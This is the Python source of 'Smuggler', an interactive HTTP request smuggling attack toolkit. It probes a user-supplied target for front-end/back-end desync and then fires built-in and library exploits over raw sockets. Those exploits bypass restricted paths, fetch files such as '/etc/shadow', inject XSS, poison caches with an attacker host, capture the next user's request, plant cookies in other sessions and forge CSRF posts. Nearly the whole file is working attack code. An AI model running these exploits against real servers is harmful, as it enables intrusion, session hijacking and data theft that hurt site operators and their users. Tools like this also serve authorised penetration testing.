smuggler.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-"
"""
Smuggler (HTTP -Smuggling- Attack Toolkit) - 2020/2026 - by psy (epsylon@riseup.net)

You should have received a copy of the GNU General Public License along
with PandeMaths; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""
import sys, socket, ssl, os, re, time

VERSION = "v:0.5"
RELEASE = "27052026"
SOURCE1 = "https://code.03c8.net/epsylon/smuggler"
SOURCE2 = "https://github.com/epsylon/smuggler"
CONTACT = "epsylon@riseup.net - (https://03c8.net)"

try:
    import payloads.payloads
except:
    print("\n[Info] Try to run the tool with Python3.x.y... (ex: python3 smuggler.py) -> [EXITING!]\n")
    sys.exit()
try:
    import exploits.exploits as exploits_lib
except:
    exploits_lib = None

VULNERABLE_LIST = []
_TARGET_CTX = None
_USER_AGENTS = []
_UA_INDEX = 0

_STATUS_LINE_RE = re.compile(r'HTTP/[0-9.]+ (\d{3})\b', re.IGNORECASE)
_SMUGGLE_INDICATORS = (
    "unrecognized method",
    "not supported for current url",
    "invalid chunked",
    "invalid chunk",
    "malformed",
    "bad chunked",
    "premature end of chunked",
    "chunked encoding error",
    "chunk size error",
)

def _detect_smuggling_signals(datas, timed_out, elapsed):
    signals = []
    all_codes = _STATUS_LINE_RE.findall(datas)
    error_codes = [c for c in all_codes if c[:1] in ("4", "5")]
    datas_lower = datas.lower()
    smuggle_phrase = next((p for p in _SMUGGLE_INDICATORS if p in datas_lower), None)
    if smuggle_phrase and error_codes:
        signals.append("smuggle-phrase[\""+smuggle_phrase+"\"]+errors("+",".join(error_codes[:3])+")")
    if len(set(all_codes)) >= 2:
        signals.append("mixed-status("+",".join(sorted(set(all_codes)))+")")
    if timed_out and len(all_codes) == 0 and elapsed >= 4.0:
        signals.append("hang-timeout-zero-response("+str(round(elapsed, 1))+"s)")
    return signals

def _load_user_agents():
    global _USER_AGENTS
    if _USER_AGENTS:
        return
    ua_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "payloads", "user-agents.txt")
    try:
        with open(ua_path, "r") as f:
            _USER_AGENTS = [ln.strip() for ln in f if ln.strip() and not ln.startswith("#")]
    except OSError:
        _USER_AGENTS = []

def _next_ua():
    global _UA_INDEX
    _load_user_agents()
    if not _USER_AGENTS:
        return ""
    ua = _USER_AGENTS[_UA_INDEX % len(_USER_AGENTS)]
    _UA_INDEX += 1
    return ua

def set_target():
    raw = input("\n  + Enter TARGET (ex: 'https://www.evilcorp.com[:port][/path]'): ").strip()
    low = raw.lower()
    if low.startswith("http://"):
        raw = raw[7:]
        default_port = 80
        SSL = False
    elif low.startswith("https://"):
        raw = raw[8:]
        default_port = 443
        SSL = True
    else:
        print("\n"+"-"*45)
        print("\n[Error] Target is invalid: '"+str(raw)+"'\n")
        print("-"*45)
        sys.exit()
    if "/" in raw:
        host_port, _, rest = raw.partition("/")
        url_path = "/" + rest
    else:
        host_port = raw
        url_path = ""
    if ":" in host_port:
        host, _, port_str = host_port.rpartition(":")
        try:
            port = int(port_str)
        except ValueError:
            print("\n"+"-"*45)
            print("\n[Error] Port is invalid: '"+str(port_str)+"'\n")
            print("-"*45)
            sys.exit()
    else:
        host = host_port
        port = default_port
    target = host.lower()
    port_input = input("\n  + Enter PORT (default: '"+str(port)+"'): ").strip()
    if port_input:
        try:
            port = int(port_input)
        except ValueError:
            print("\n"+"-"*45)
            print("\n[Error] Port is invalid: '"+str(port_input)+"'\n")
            print("-"*45)
            sys.exit()
    valid_methods = ("GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS", "TRACE", "CONNECT")
    method = input("\n  + Enter HTTP METHOD ("+"/".join(valid_methods)+", default: 'POST'): ").upper().strip()
    if not method:
        method = "POST"
    elif method not in valid_methods:
        print("\n"+"-"*45)
        print("\n[Error] Method is invalid: '"+str(method)+"'\n")
        print("-"*45)
        sys.exit()
    protocol = "HTTP/1.1"
    default_path = url_path if url_path else "/"
    path_input = input("\n  + Enter PATH (default: '"+default_path+"'): ").strip()
    path = path_input if path_input else default_path
    cookie = input("\n  + Enter COOKIE (ex: 'session=iLxgKt7w3FIKor1csjB5HYbPrq9evRhb;'): ").strip()
    return target, port, SSL, method, protocol, path, cookie

def _run_all_payloads(target, port, protocol, method, path, cookie, SSL):
    print("\n"+"="*50 + "\n")
    print("[Info] Starting -HTTP Smuggling- Timing detection ...")
    payloads_dsync = payloads.payloads.payloads
    if target.endswith("/"):
        target = target.replace("/", "")
    addr = (target, port)
    print("")
    for payload in payloads_dsync:
        attack_type = payload.split("#")[0]
        payload_type = payload.split("#")[1]
        for i in range(0,2):
            print("="*50)
            print("Trying payload: ["+str(attack_type)+"] ["+str(i+1)+"/2]")
            print("="*50+"\n")
            ua = _next_ua()
            ua_header = "User-Agent: "+ua+"\r\n" if ua else ""
            cookie_header = "Cookie: "+cookie+"\r\n" if cookie else ""
            p = method+" "+path+" "+protocol+"\r\nHost: "+target+"\r\n"+ua_header+cookie_header+payload_type
            print("+ PAYLOAD:\n")
            print(p)
            send_payload(attack_type, p, addr, SSL)

def detect(final):
    global _TARGET_CTX
    target, port, SSL, method, protocol, path, cookie = set_target()
    _run_all_payloads(target, port, protocol, method, path, cookie, SSL)
    _TARGET_CTX = (target, port, protocol, method, path, SSL, cookie)
    show_final_results(target, port, protocol, method, path)
    if final == True:
        ans = input("\n+ Do you want to EXPLOIT the discovered vulnerabilities? (Y/N): ").upper().strip()
        if ans == "Y":
            _exploit_menu()
        else:
            print("\n"+"-"*45+"\n")
            print("[Smuggler by psy (https://03c8.net)]\n\n  Bye! ;-)\n")
            sys.exit()

def send_payload(attack_type, payload, addr, SSL):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5.0)
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.verify_mode = ssl.CERT_REQUIRED
    context.check_hostname = True
    context.load_default_certs()
    if SSL == True:
        ss = context.wrap_socket(s, server_hostname=addr[0])
        ss.settimeout(5.0)
    try:
        if SSL == True:
            ss.connect(addr)
        else:
            s.connect(addr)
    except Exception as e:
        print("-"*45)
        print("[Error] Connection/SSL error (target may have rejected payload)... -> [PASSING!]")
        print(e)
        print("-"*45+"\n")
        if SSL == True:
            ss.close()
        else:
            s.close()
        return
    try:
        for i in range(0,10):
            if SSL == True:
                ss.send(payload.encode('utf-8'))
            else:
                s.send(payload.encode('utf-8'))
    except Exception as e:
        print("-"*45)
        print("[Error] Send failed (target dropped connection)... -> [PASSING!]")
        print(e)
        print("-"*45+"\n")
        if SSL == True:
            ss.close()
        else:
            s.close()
        return
    datas = ""
    timed_out = False
    t_start = time.time()
    while 1:
        try:
            if SSL == True:
                data = ss.recv(1024)
            else:
                data = s.recv(1024)
        except socket.timeout:
            timed_out = True
            break
        except Exception as e:
            print("[Info] recv error: "+str(e)+" -> moving on")
            break
        if not data:
            break
        try:
            datas += str(data.decode('utf-8'))
        except:
            pass
    elapsed = time.time() - t_start
    print("\n+ REPLY:\n")
    print(str(datas))
    print("")
    signals = _detect_smuggling_signals(datas, timed_out, elapsed)
    print("-"*45)
    if signals:
        print("PAYLOAD: ["+str(attack_type)+"] is WORKING! ;-)  signals: "+", ".join(signals))
        if attack_type not in VULNERABLE_LIST:
            VULNERABLE_LIST.append(attack_type)
    else:
        print("PAYLOAD: ["+str(attack_type)+"] is NOT working...")
    print("-"*45+"\n")
    if SSL == True:
        ss.close()
    else:
        s.close()

def show_final_results(target, port, protocol, method, path):
    print("="*50)
    print("\n+ Detection RESULT: -HTTP Smuggling- Timing Attack\n")
    print("-"*45+"\n")
    print("  - TARGET: "+str(target)+":"+str(port))
    print("  - Method: "+str(method))
    print("  - Protocol: "+str(protocol))
    print("  - Path  : "+str(path))
    TETE = False
    TECL = False
    CLTE = False
    CLCL = False
    if VULNERABLE_LIST:
        print("\n  - STATUS: [ VULNERABLE !!! ]\n")
        for v in VULNERABLE_LIST:
            if v.startswith("TE-TE") and TETE == False:
                print("    * [TE-TE]: [Front-end: Transfer-Encoding] <-> [Back-end: Transfer-Encoding]")
                TETE = True
            elif v.startswith("TE-CL") and TECL == False:
                print("    * [TE-CL]: [Front-end: Transfer-Encoding] <-> [Back-end: Content-Length]")
                TECL = True
            elif v.startswith("CL-TE") and CLTE == False:
                print("    * [CL-TE]: [Front-end: Content-Length] <-> [Back-end: Transfer-Encoding]")
                CLTE = True
            elif v.startswith("CL-CL") and CLCL == False:
                print("    * [CL-CL]: [Front-end: Content-Length] <-> [Back-end: Content-Length]")
                CLCL = True
    else:
        print("\n  - STATUS: [ NOT VULNERABLE ]")
        print("\n"+"="*50+"\n")
        sys.exit()
    print("\n"+"="*50+"\n")

def _cl_math(exploit_type, n):
    if exploit_type == "CL-TE-0":
        return (n+5, None)
    if exploit_type == "CL-TE-1":
        return (n+4, None)
    if exploit_type == "CL-CL-0":
        return (n-1, None)
    if exploit_type == "CL-CL-1":
        return (n-1, n-1)
    if exploit_type == "CL-CL-2":
        return (n-1, n+1)
    if exploit_type == "TE-CL-0":
        return (n+3, None)
    if exploit_type == "TE-CL-1":
        return (n+2, None)
    if exploit_type == "TE-TE-0":
        return (n-1, n-1)
    if exploit_type == "TE-TE-1":
        return (n-1, n+1)
    if exploit_type == "TE-TE-2":
        return (n-1, n+1)
    return (0, None)

def _execute_smuggle(method_idx, label, inner_cl_fn, user_prompts):
    if _TARGET_CTX is None:
        print("\n[Error] no target context available... -> [EXITING!]\n")
        sys.exit()
    target, port, protocol, method, path, SSL, cookie = _TARGET_CTX
    addr = (target, port)
    print("\n"+"-"*45)
    user_vars = {}
    for prompt_text, var_name in user_prompts:
        user_vars[var_name] = input(prompt_text)
    exploits_dsync = payloads.payloads.exploits
    smuggled_method = payloads.payloads.methods
    for v in VULNERABLE_LIST:
        for exp in exploits_dsync:
            if exp.split("#")[0] in v:
                smuggled = None
                for s in smuggled_method:
                    if s.split("#")[0] == method_idx:
                        s = s.replace("$method", method).replace("$path", path).replace("$protocol", protocol).replace("$target", target)
                        for var_name, val in user_vars.items():
                            s = s.replace("$"+var_name, val)
                        if inner_cl_fn is not None:
                            s = s.replace("$CL", str(inner_cl_fn(user_vars)))
                        smuggled = s.split("#")[1]
                if smuggled is None:
                    continue
                exploit_str = exp.split("#")[1]
                exploit_str = exploit_str.replace("$method", method).replace("$path", path).replace("$protocol", protocol).replace("$target", target)
                for var_name, val in user_vars.items():
                    exploit_str = exploit_str.replace("$"+var_name, val)
                exploit_type = exp.split("#")[0]
                cl, lc = _cl_math(exploit_type, len(smuggled))
                exploit_str = exploit_str.replace("$CL", str(cl))
                if lc is not None:
                    exploit_str = exploit_str.replace("$LC", str(lc))
                exploit_str = exploit_str.replace("$SMUGGLED", smuggled)
                ua = _next_ua()
                if ua:
                    exploit_str = exploit_str.replace("Host: "+target+"\r\n", "Host: "+target+"\r\nUser-Agent: "+ua+"\r\n", 1)
                if cookie:
                    exploit_str = exploit_str.replace("Host: "+target+"\r\n", "Host: "+target+"\r\nCookie: "+cookie+"\r\n", 1)
                print("\n"+"="*50+"\n")
                print("+ PAYLOAD TYPE: ["+exploit_type+"]")
                print("+ EXPLOIT CODE:\n")
                print(str(exploit_str))
                send_exploit(addr, SSL, exploit_str, exploit_type, label)

def exploit_verify():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to VERIFY injections (generating back-end errors)...")
    _execute_smuggle("0", "VERIFY", None, [])

def exploit_reveal():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to REVEAL front-end REWRITING...")
    _execute_smuggle("1", "REVEAL", lambda v: len(v["parameter"])+2+50,
                     [("\n  + Enter PARAMETER (ex: 'q', '_username', 'search' ...): ", "parameter")])

def exploit_bypass():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to GRANT ACCESS to a RESTRICTED URL...")
    _execute_smuggle("2", "BYPASS", lambda v: 10,
                     [("\n  + Enter RESTRICTED ZONE (ex: '/restricted/salaries/boss.php', '/wp-admin/', '/private/messages' ...): ", "restricted")])

def exploit_steal():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to GET FILE from server...")
    _execute_smuggle("3", "STEAL", lambda v: len(v["files"])+2,
                     [("\n  + Enter FILE (ex: '/etc/shadow', '/server/config_db.php' ...): ", "files")])

def exploit_XSS():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to EXPLOIT a (simple) reflected XSS (User-Agent, Referer)...")
    _execute_smuggle("4", "XSS", lambda v: len(v["text"])-1,
                     [("\n  + Enter TEXT (ex: 'XSS', '0wNed by ANONYMOUS' ...): ", "text")])

def exploit_openredirect():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to turn an 'on-site' redirect into an OPEN REDIRECT...")
    _execute_smuggle("5", "REDIRECT", lambda v: len(v["redirect"])+1,
                     [("\n  + Enter 'on-site' URL (ex: '/', '/login', '/restricted' ...): ", "PT"),
                      ("\n  + Enter URL to redirect (ex: 'attacker-website.com' ...): ", "redirect")])

def exploit_capture():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to CAPTURE next user's request via smuggled oversized-CL POST...")
    _execute_smuggle("6", "CAPTURE", None,
                     [("\n  + Enter PARAM-ECHO PATH (ex: '/search?q=', '/feedback', '/comment' ...): ", "capture")])

def exploit_ipspoof():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to SPOOF SOURCE IP via smuggled X-Forwarded-* headers...")
    _execute_smuggle("7", "IPSPOOF", lambda v: len(v["ipspoof"])+2,
                     [("\n  + Enter IP to SPOOF (ex: '127.0.0.1', '10.0.0.1', '::1', '192.168.0.1' ...): ", "ipspoof")])

def exploit_vhost():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to ROUTE to internal VHOST via smuggled Host header...")
    _execute_smuggle("8", "VHOST", lambda v: len(v["vhost"])+2,
                     [("\n  + Enter VHOST (ex: 'localhost', 'admin.internal', 'intranet.corp' ...): ", "vhost")])

def exploit_method():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to SMUGGLE non-standard HTTP METHOD...")
    _execute_smuggle("9", "METHOD", lambda v: 10,
                     [("\n  + Enter METHOD to smuggle (ex: 'PUT', 'DELETE', 'PATCH', 'CONNECT', 'TRACE', 'OPTIONS' ...): ", "smugmeth")])

def exploit_cachepoison():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to POISON CACHE via smuggled request with attacker-controlled host...")
    _execute_smuggle("10", "CACHE", lambda v: len(v["evilhost"])+2,
                     [("\n  + Enter STATIC-ASSET PATH to poison (ex: '/js/main.js', '/css/style.css', '/static/app.js' ...): ", "cachepath"),
                      ("\n  + Enter EVIL HOST to inject (ex: 'evil.attacker.com' ...): ", "evilhost")])

def exploit_headerinject():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to INJECT ARBITRARY HEADER into smuggled request...")
    _execute_smuggle("11", "HEADER", lambda v: len(v["injvalue"])+2,
                     [("\n  + Enter HEADER NAME to inject (ex: 'X-Original-URL', 'X-Override-URL', 'X-Rewrite-URL' ...): ", "injheader"),
                      ("\n  + Enter HEADER VALUE (ex: '/admin', '127.0.0.1', 'true' ...): ", "injvalue")])

def exploit_cookieinject():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to INJECT COOKIE into next user's session via smuggled Set-Cookie...")
    _execute_smuggle("12", "COOKIE", lambda v: len(v["cookieval"])+2,
                     [("\n  + Enter COOKIE NAME (ex: 'session', 'auth', 'PHPSESSID' ...): ", "cookiename"),
                      ("\n  + Enter COOKIE VALUE (ex: 'attacker-session-id' ...): ", "cookieval")])

def exploit_csrf():
    print("\n"+"="*50 + "\n")
    print("[Info] Trying to perform CSRF via smuggled state-changing POST against next user...")
    _execute_smuggle("13", "CSRF", lambda v: len(v["csrfbody"]),
                     [("\n  + Enter CSRF-target PATH (ex: '/api/user/delete', '/admin/users/promote' ...): ", "csrfpath"),
                      ("\n  + Enter POST BODY (ex: 'id=42&action=delete', 'role=admin' ...): ", "csrfbody")])

def _run_library_exploit(name, template):
    if _TARGET_CTX is None:
        print("\n[Error] no target context available... -> [EXITING!]\n")
        sys.exit()
    target, port, protocol, method, path, SSL, cookie = _TARGET_CTX
    addr = (target, port)
    text = template
    text = text.replace("$target", target).replace("$method", method).replace("$path", path).replace("$protocol", protocol)
    ua = _next_ua()
    if ua:
        text = text.replace("Host: "+target+"\r\n", "Host: "+target+"\r\nUser-Agent: "+ua+"\r\n", 1)
    if cookie:
        text = text.replace("Host: "+target+"\r\n", "Host: "+target+"\r\nCookie: "+cookie+"\r\n", 1)
    print("\n"+"-"*45)
    print("\n"+"="*50+"\n")
    print("+ PAYLOAD TYPE: [LIBRARY:"+name+"]")
    print("+ EXPLOIT CODE:\n")
    print(str(text))
    send_exploit(addr, SSL, text, name, "LIBRARY")

SMG_EXPLOITS = [
    ("SMG-VER-01", "VERIFY that your 'chunked' requests are arriving correctly", "exploit_verify"),
    ("SMG-REV-01", "REVEAL if the front-end performs some REWRITING of requests before they are forwarded to the back-end", "exploit_reveal"),
    ("SMG-ACL-01", "GRANT ACCESS to a RESTRICTED URL (ex: '/restricted/salaries/boss.php', '/admin/', '/private/messages' ...)", "exploit_bypass"),
    ("SMG-GET-01", "GET a FILE from the back-end server (ex: '/etc/shadow', '/server/config_db.php' ...)", "exploit_steal"),
    ("SMG-XSS-01", "INJECT a (simple) reflected XSS in the back-end (exploit 'User-Agent', 'Referer' vulnerability)", "exploit_XSS"),
    ("SMG-UFO-01", "TURN an 'on-site' redirect into an OPEN REDIRECT", "exploit_openredirect"),
    ("SMG-CAP-01", "CAPTURE the next user's request via smuggled oversized-CL POST", "exploit_capture"),
    ("SMG-IPF-01", "SPOOF SOURCE IP via smuggled X-Forwarded-For / X-Real-IP / Forwarded headers", "exploit_ipspoof"),
    ("SMG-HST-01", "ROUTE to an internal VHOST by smuggling a forged Host header", "exploit_vhost"),
    ("SMG-MTH-01", "SMUGGLE a non-standard HTTP METHOD (PUT / DELETE / PATCH / CONNECT / TRACE)", "exploit_method"),
    ("SMG-CHE-01", "POISON the CACHE via smuggled X-Forwarded-Host against a static asset", "exploit_cachepoison"),
    ("SMG-HDR-01", "INJECT ARBITRARY HEADER (X-Original-URL, X-Override-URL ...) into back-end stream", "exploit_headerinject"),
    ("SMG-COK-01", "INJECT a Set-Cookie into the next user's session", "exploit_cookieinject"),
    ("SMG-CSR-01", "FORGE a state-changing POST (CSRF) against the next authenticated user", "exploit_csrf"),
]

def _exploit_menu():
    vuln_types = set()
    for v in VULNERABLE_LIST:
        for prefix in ("CL-TE", "TE-CL", "TE-TE", "CL-CL"):
            if v.startswith(prefix):
                vuln_types.add(prefix)
                break
    smg_options = list(SMG_EXPLOITS)
    library_options = []
    if exploits_lib is not None:
        for entry in sorted(exploits_lib.exploits):
            name = entry.split("#")[0]
            applicable = True
            for prefix in ("CL-TE", "TE-CL", "TE-TE", "CL-CL"):
                if name.startswith(prefix):
                    applicable = prefix in vuln_types
                    break
            if applicable:
                library_options.append(entry)
    print("\n+ AVAILABLE EXPLOITS for this target:\n")
    idx = 0
    print("  --- BUILT-IN EXPLOITS ---")
    for name, desc, fn_name in smg_options:
        print("  ["+str(idx)+"] "+name+": "+desc)
        idx += 1
    if library_options:
        print("\n  --- LIBRARY EXPLOITS ---")
        for entry in library_options:
            print("  ["+str(idx)+"] [LIB] "+entry.split("#")[0])
            idx += 1
    choice = input("\n+ Pick exploit (index): ").strip()
    try:
        c = int(choice)
    except:
        print("\n[Info] Invalid selection... -> [EXITING!]\n")
        sys.exit()
    if c < 0 or c >= idx:
        print("\n[Info] Out of range... -> [EXITING!]\n")
        sys.exit()
    if c < len(smg_options):
        fn_name = smg_options[c][2]
        globals()[fn_name]()
    else:
        lib_idx = c - len(smg_options)
        entry = library_options[lib_idx]
        name = entry.split("#")[0]
        template = entry.split("#", 1)[1]
        _run_library_exploit(name, template)

def manual_pick_payload():
    target, port, SSL, method, protocol, path, cookie = set_target()
    payloads_list = sorted(payloads.payloads.payloads)
    print("\n+ AVAILABLE DETECTION PAYLOADS:\n")
    for i, p in enumerate(payloads_list):
        print("  ["+str(i)+"] "+p.split("#")[0])
    choice = input("\n+ Pick payload (index): ").strip()
    try:
        idx = int(choice)
        chosen = payloads_list[idx]
    except:
        print("\n[Info] Invalid selection... -> [EXITING!]\n")
        sys.exit()
    attack_type = chosen.split("#")[0]
    payload_type = chosen.split("#")[1]
    if target.endswith("/"):
        target = target.replace("/", "")
    addr = (target, port)
    print("\n"+"="*50)
    print("[Info] Testing payload: ["+attack_type+"]")
    print("="*50+"\n")
    for i in range(0,2):
        print("="*50)
        print("Trying payload: ["+attack_type+"] ["+str(i+1)+"/2]")
        print("="*50+"\n")
        if cookie != "":
            p_send = method+" "+path+" "+protocol+"\r\nHost: "+target+"\r\nCookie: "+cookie+"\r\n"+payload_type
        else:
            p_send = method+" "+path+" "+protocol+"\r\nHost: "+target+"\r\n"+payload_type
        print("+ PAYLOAD:\n")
        print(p_send)
        send_payload(attack_type, p_send, addr, SSL)
    print("\n"+"="*50)
    print("\n+ Manual test RESULT:\n")
    print("  - PAYLOAD: ["+attack_type+"]")
    if VULNERABLE_LIST:
        print("  - STATUS:  [ WORKING ;-) ]")
    else:
        print("  - STATUS:  [ NOT working ]")
    print("\n"+"="*50+"\n")
    print("[Smuggler by psy (https://03c8.net)]\n\n  Bye! ;-)\n")
    sys.exit()

def send_exploit(addr, SSL, exploit, exploit_type, exploit_mode):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5.0)
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    context.verify_mode = ssl.CERT_REQUIRED
    context.check_hostname = True
    context.load_default_certs()
    if SSL == True:
        ss = context.wrap_socket(s, server_hostname=addr[0])
        ss.settimeout(5.0)
    try:
        if SSL == True:
            ss.connect(addr)
        else:
            s.connect(addr)
    except Exception as e:
        print("-"*45)
        print("[Error] Connection/SSL error (target may have rejected payload)... -> [PASSING!]")
        print(e)
        print("-"*45+"\n")
        if SSL == True:
            ss.close()
        else:
            s.close()
        return
    try:
        for i in range(0,2):
            if SSL == True:
                ss.send(exploit.encode('utf-8'))
            else:
                s.send(exploit.encode('utf-8'))
    except Exception as e:
        print("-"*45)
        print("[Error] Send failed (target dropped connection)... -> [PASSING!]")
        print(e)
        print("-"*45+"\n")
        if SSL == True:
            ss.close()
        else:
            s.close()
        return
    datas = ""
    timed_out = False
    t_start = time.time()
    while 1:
        try:
            if SSL == True:
                data = ss.recv(1024)
            else:
                data = s.recv(1024)
        except socket.timeout:
            timed_out = True
            break
        except Exception as e:
            print("[Info] recv error: "+str(e)+" -> moving on")
            break
        if not data:
            break
        try:
            datas += str(data.decode('utf-8'))
        except:
            pass
    elapsed = time.time() - t_start
    print("\n"+"-"*45)
    print("\n+ REPLY:\n")
    print(str(datas))
    signals = _detect_smuggling_signals(datas, timed_out, elapsed)
    print("\n"+"-"*45)
    if exploit_mode == "VERIFY":
        if signals:
            print("\n[Info] Exploit ["+exploit_type+"] APPEARS TO BE WORKING. signals: "+", ".join(signals)+"\n")
        else:
            print("\n[Info] Exploit ["+exploit_type+"] NO smuggling signals in response (target may not be vulnerable or response too clean to confirm)\n")
    else:
        if signals:
            print("\n[Info] Exploit ["+exploit_type+"] response shows smuggling signals: "+", ".join(signals)+"\n")
        else:
            print("\n[Info] Exploit ["+exploit_type+"] no smuggling signals in response\n")
    if SSL == True:
        ss.close()
    else:
        s.close()

def print_banner():
    print("\n"+"="*50)
    print(r" ____  __  __ _   _  ____  ____ _     _____ ____  ")
    print(r"/ ___||  \/  | | | |/ ___|/ ___| |   | ____|  _ \ ")
    print(r"\___ \| |\/| | | | | |  _| |  _| |   |  _| | |_) |")
    print(r" ___) | |  | | |_| | |_| | |_| | |___| |___|  _ < ")
    print(r"|____/|_|  |_|\___/ \____|\____|_____|_____|_| \_\ by psy")
    print("")
    print("="*50)
    print('\n"HTTP -Smuggling- (DSYNC) Attacking Toolkit"')
    print("\n"+"-"*15+"\n")
    print(" * VERSION: ")
    print("   + "+VERSION+" - (rev:"+RELEASE+")")
    print("\n * SOURCES:")
    print("   + "+SOURCE1)
    print("   + "+SOURCE2)
    print("\n * CONTACT: ")
    print("   + "+CONTACT+"\n")
    print("-"*15+"\n")
    print("="*50)

def main():
    print_banner()
    option = input("\n+ CHOOSE: (D)etect or (E)xploit: ").upper().strip()
    print("\n"+"="*50)
    if option == "D":
        detect(True)
    elif option == "E":
        exp_type = input("\n+ CHOOSE: (A)utomatic or (M)anual: ").upper().strip()
        print("\n"+"="*50)
        if exp_type == "M":
            manual_pick_payload()
        else:
            detect(False)
            if VULNERABLE_LIST:
                _exploit_menu()
            else:
                print("\n[Info] Nothing to exploit... -> [EXITING!]\n")
                sys.exit()
    else:
        print("\n"+"-"*45+"\n")
        print("[Smuggler by psy (https://03c8.net)]\n\n  Bye! ;-)\n")
        sys.exit()

if __name__ == "__main__":
    main()